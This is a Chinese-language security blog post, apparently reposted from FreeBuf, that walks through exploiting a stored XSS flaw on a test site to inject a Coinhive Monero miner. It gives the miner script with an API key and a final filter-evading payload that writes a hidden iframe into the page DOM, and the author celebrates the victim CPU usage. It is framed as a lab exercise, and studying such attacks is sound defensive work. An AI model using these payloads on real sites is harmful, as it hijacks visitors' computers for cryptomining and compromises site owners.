一个XSS挖矿马的曲折历程

Posted Tide安全团队

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了一个XSS挖矿马的曲折历程相关的知识,希望对你有一定的参考价值。

声明:

本文首发于freebuf TideSec专栏:

https://www.freebuf.com/column/197538.html


本文中所涉及的目标系统均为局域网搭建的测试环境,如IP或URL有雷同纯属巧合。文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

复现

首先复现一下这个漏洞,现在输入框内插入XSS代码:

Burp抓包:

一个XSS挖矿马的曲折历程

发现前台已经将XSS过滤,修改数据包:

一个XSS挖矿马的曲折历程放行数据包后,刷新当前页面:

一个XSS挖矿马的曲折历程存储型XSS一枚,但是上面都不是重点

挖矿


既然有这么好的机会,我们这么可以不试试挖矿呢?

首先需要一个门罗币账户(不赘述)

其次去coinhive注册一个账户(不赘述)

APIkey:3CZb3wTC2wAsN0kWehZEi8Tclp38uFBo

获取JS运行脚本 



<script src=https://coinhive.com/lib/coinhive.min.js></script>

<script>

var miner = new CoinHive.Anonymous(’3CZb3wTC2wAsN0kWehZEi8Tclp38uFBo’, {throttle: 0.5});

miner.start();

</script>

本以为直接将脚本插入即可,结果插入之后直接返回400错误:

一个XSS挖矿马的曲折历程根据测试可以发现,这是因为没有将空格编码为+所导致的。

一个XSS挖矿马的曲折历程

从返回的数据包中,可以看到我们接收到的数据正是我们想要。

但是进入页面查看一下,妈卖批为啥不执行。。。。。。。

一个XSS挖矿马的曲折历程

那我们不妨尝试一下DOM,先选一个id吧,直接覆盖。

一个XSS挖矿马的曲折历程

就选这个吧,这个好看~ 现在控制台尝试一下:


一个XSS挖矿马的曲折历程这里使用+对URL进行拼接,查看一下源码:

一个XSS挖矿马的曲折历程开心哈哈哈哈,现在效果达到,但是特么的为什么没有运行呢?????

一个XSS挖矿马的曲折历程大概就是这么个意思,那好吧,那就换种方法,使用iframe加载总可以了吧。

一个XSS挖矿马的曲折历程这次返回的结果是正确的,但是我们刚刚用来拼接字符串的+已经让它给变成空格了。

一个XSS挖矿马的曲折历程

因此,我们换种方法来拼接字符串,使用concat函数

最终Payload如下:


<script>

document.getElementById(“toast”).innerHTML=”<iframe+src=http”.concat(“s://url.rul/YouUrl+style=’display:”).concat(“none;’></iframe>”)

</script>


查看效果:

一个XSS挖矿马的曲折历程查看DOM插入的iframe:

一个XSS挖矿马的曲折历程看到CPU利用率我就开心哈哈哈哈:

一个XSS挖矿马的曲折历程总结

遇到XSS就是各种绕吧,如果你有什么更好的方法,可以在下方留下你的payload。

另外:听说dashboard不干了?

这以后怎么玩???


关注我们


以上是关于一个XSS挖矿马的曲折历程的主要内容,如果未能解决你的问题,请参考以下文章

欧姆定律被提出的曲折历程

十年略曲折的求学与工作历程

XSS:如何从 C# 中的字符串中删除 JS 片段?

通过脚本片段绕过XSS防御

经验分享 | XSS手工利用方式

XSS跨站脚本(pikachu)——反射型xss(get和post)